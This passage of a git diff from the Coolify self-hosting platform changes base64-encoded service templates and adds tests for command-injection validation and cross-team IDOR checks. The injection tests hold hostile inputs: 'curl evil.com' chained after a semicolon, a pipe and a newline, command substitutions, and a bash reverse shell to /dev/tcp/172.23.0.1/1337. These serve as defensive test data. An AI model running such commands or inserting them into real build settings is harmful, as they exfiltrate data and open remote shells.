YUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX0RCPWxpc3Rtb25rCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogICAgICAtIFRaPUV0Yy9VVEMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xpc3Rtb25rLWRhdGE6L2xpc3Rtb25rL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6OTAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBsaXN0bW9uay1pbml0aWFsLWRhdGFiYXNlLXNldHVwOgogICAgaW1hZ2U6ICdsaXN0bW9uay9saXN0bW9uazp2Ni4wLjAnCiAgICBjb21tYW5kOiAnLi9saXN0bW9uayAtLWluc3RhbGwgLS15ZXMgLS1pZGVtcG90ZW50JwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RNT05LX2RiX19ob3N0PXBvc3RncmVzCiAgICAgIC0gTElTVE1PTktfZGJfX2RhdGFiYXNlPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "newsletter", "mailing list", diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php index 8ccb7c639..7f1b985ad 100644 --- a/tests/Feature/ApplicationHealthCheckApiTest.php +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -25,13 +25,13 @@ $this->server = Server::factory()->create(['team_id' => $this->team->id]); StandaloneDocker::withoutEvents(function () { - $this->destination = StandaloneDocker::firstOrCreate( - ['server_id' => $this->server->id, 'network' => 'coolify'], + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] ); }); - $this->project = Project::create([ + $this->project = Project::forceCreate([ 'uuid' => (string) new Cuid2, 'name' => 'test-project', 'team_id' => $this->team->id, diff --git a/tests/Feature/ApplicationRedirectTest.php b/tests/Feature/ApplicationRedirectTest.php new file mode 100644 index 000000000..55b124f81 --- /dev/null +++ b/tests/Feature/ApplicationRedirectTest.php @@ -0,0 +1,60 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('Application Redirect', function () { + test('setRedirect persists the redirect value to the database', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'fqdn' => 'https://example.com,https://www.example.com', + 'redirect' => 'both', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('redirect', 'www') + ->call('setRedirect') + ->assertDispatched('success'); + + $application->refresh(); + expect($application->redirect)->toBe('www'); + }); + + test('setRedirect rejects www redirect when no www domain exists', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'fqdn' => 'https://example.com', + 'redirect' => 'both', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('redirect', 'www') + ->call('setRedirect') + ->assertDispatched('error'); + + $application->refresh(); + expect($application->redirect)->toBe('both'); + }); +}); diff --git a/tests/Feature/ClonePersistentVolumeUuidTest.php b/tests/Feature/ClonePersistentVolumeUuidTest.php new file mode 100644 index 000000000..f1ae8dd26 --- /dev/null +++ b/tests/Feature/ClonePersistentVolumeUuidTest.php @@ -0,0 +1,84 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +test('cloning application generates new uuid for persistent volumes', function () { + $volume = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $originalUuid = $volume->uuid; + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedVolume = $newApp->persistentStorages()->first(); + + expect($clonedVolume)->not->toBeNull(); + expect($clonedVolume->uuid)->not->toBe($originalUuid); + expect($clonedVolume->mount_path)->toBe('/data'); +}); + +test('cloning application with multiple persistent volumes generates unique uuids', function () { + $volume1 = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $volume2 = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-config', + 'mount_path' => '/config', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedVolumes = $newApp->persistentStorages()->get(); + + expect($clonedVolumes)->toHaveCount(2); + + $clonedUuids = $clonedVolumes->pluck('uuid')->toArray(); + $originalUuids = [$volume1->uuid, $volume2->uuid]; + + // All cloned UUIDs should be unique and different from originals + expect($clonedUuids)->each->not->toBeIn($originalUuids); + expect(array_unique($clonedUuids))->toHaveCount(2); +}); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index cfa363e79..c3534b05f 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -672,3 +672,185 @@ expect($middleware)->toContain('api.ability:deploy'); }); }); + +describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () { + test('rejects semicolon injection in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => 'npm install; curl evil.com'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => 'npm run build | curl evil.com'], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => 'npm start $(whoami)'], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects backtick injection in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => 'npm install `whoami`'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects dollar sign in build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => 'npm run build $HOME'], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects reverse shell payload in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => "npm start\ncurl evil.com"], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid install commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => $cmd], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm install', + 'yarn install --frozen-lockfile', + 'pip install -r requirements.txt', + 'bun install', + 'pnpm install --no-frozen-lockfile', + ]); + + test('allows valid build commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm run build', + 'cargo build --release', + 'go build -o main .', + 'yarn build && yarn postbuild', + 'make build', + ]); + + test('allows valid start commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => $cmd], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm start', + 'node server.js', + 'python main.py', + 'java -jar app.jar', + './start.sh', + ]); + + test('allows null values for command fields', function ($field) { + $rules = sharedDataApplications(); + + $validator = validator( + [$field => null], + [$field => $rules[$field]] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['install_command', 'build_command', 'start_command']); +}); + +describe('install/build/start command rules survive array_merge in controller', function () { + test('install_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['install_command'])->toBeArray(); + expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['build_command'])->toBeArray(); + expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['start_command'])->toBeArray(); + expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); diff --git a/tests/Feature/ComposePreviewFqdnTest.php b/tests/Feature/ComposePreviewFqdnTest.php index c62f905d6..62fc0f2d8 100644 --- a/tests/Feature/ComposePreviewFqdnTest.php +++ b/tests/Feature/ComposePreviewFqdnTest.php @@ -14,9 +14,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 42, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/42', 'docker_compose_domains' => $application->docker_compose_domains, ]); @@ -38,9 +39,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 7, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/7', 'docker_compose_domains' => $application->docker_compose_domains, ]); @@ -63,9 +65,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 99, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/99', 'docker_compose_domains' => $application->docker_compose_domains, ]); diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php new file mode 100644 index 000000000..671397a1e --- /dev/null +++ b/tests/Feature/CrossTeamIdorServerProjectTest.php @@ -0,0 +1,182 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Victim: Team B + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + // Act as attacker (Team A) + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('boarding mount cannot load server from another team via selectedExistingServer', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedServerType' => 'remote', + 'selectedExistingServer' => $this->serverB->id, + ]); + + // The server from Team B should NOT be loaded + expect($component->get('createdServer'))->toBeNull(); + }); + + test('boarding mount can load own team server via selectedExistingServer', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedServerType' => 'remote', + 'selectedExistingServer' => $this->serverA->id, + ]); + + // Own team server should load successfully + expect($component->get('createdServer'))->not->toBeNull(); + expect($component->get('createdServer')->id)->toBe($this->serverA->id); + }); +}); + +describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('boarding mount cannot load project from another team via selectedProject', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedProject' => $this->projectB->id, + ]); + + // The project from Team B should NOT be loaded + expect($component->get('createdProject'))->toBeNull(); + }); + + test('boarding selectExistingProject cannot load project from another team', function () { + $component = Livewire::test(BoardingIndex::class) + ->set('selectedProject', $this->projectB->id) + ->call('selectExistingProject'); + + expect($component->get('createdProject'))->toBeNull(); + $component->assertDispatched('error'); + }); + + test('boarding selectExistingProject can load own team project', function () { + $component = Livewire::test(BoardingIndex::class) + ->set('selectedProject', $this->projectA->id) + ->call('selectExistingProject'); + + expect($component->get('createdProject'))->not->toBeNull(); + expect($component->get('createdProject')->id)->toBe($this->projectA->id); + }); +}); + +describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('loadDestinations cannot access server from another team', function () { + $component = Livewire::test(GlobalSearch::class) + ->set('selectedServerId', $this->serverB->id) + ->call('loadDestinations'); + + // Should dispatch error because server is not found (team-scoped) + $component->assertDispatched('error'); + }); +}); + +describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('loadEnvironments cannot access project from another team', function () { + $component = Livewire::test(GlobalSearch::class) + ->set('selectedProjectUuid', $this->projectB->uuid) + ->call('loadEnvironments'); + + // Should not load environments from another team's project + expect($component->get('availableEnvironments'))->toBeEmpty(); + }); +}); + +describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('cannot mount DeleteProject with project from another team', function () { + // Should throw ModelNotFoundException (404) because team-scoped query won't find it + Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]); + })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + + test('can mount DeleteProject with own team project', function () { + $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]); + + expect($component->get('projectName'))->toBe($this->projectA->name); + }); +}); + +describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('cannot mount CloneMe with project UUID from another team', function () { + // Should throw ModelNotFoundException because team-scoped query won't find it + Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->projectB->uuid, + 'environment_uuid' => $this->environmentB->uuid, + ]); + })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + + test('can mount CloneMe with own team project UUID', function () { + $component = Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]); + + expect($component->get('project_id'))->toBe($this->projectA->id); + }); +}); + +describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('deploy cancel API cannot access build server from another team', function () { + // Create a deployment queue entry that references Team B's server as build_server + $application = \App\Models\Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id, + 'destination_type' => StandaloneDocker::class, + ]); + + $deployment = \App\Models\ApplicationDeploymentQueue::create([ + 'application_id' => $application->id, + 'deployment_uuid' => 'test-deploy-' . fake()->uuid(), + 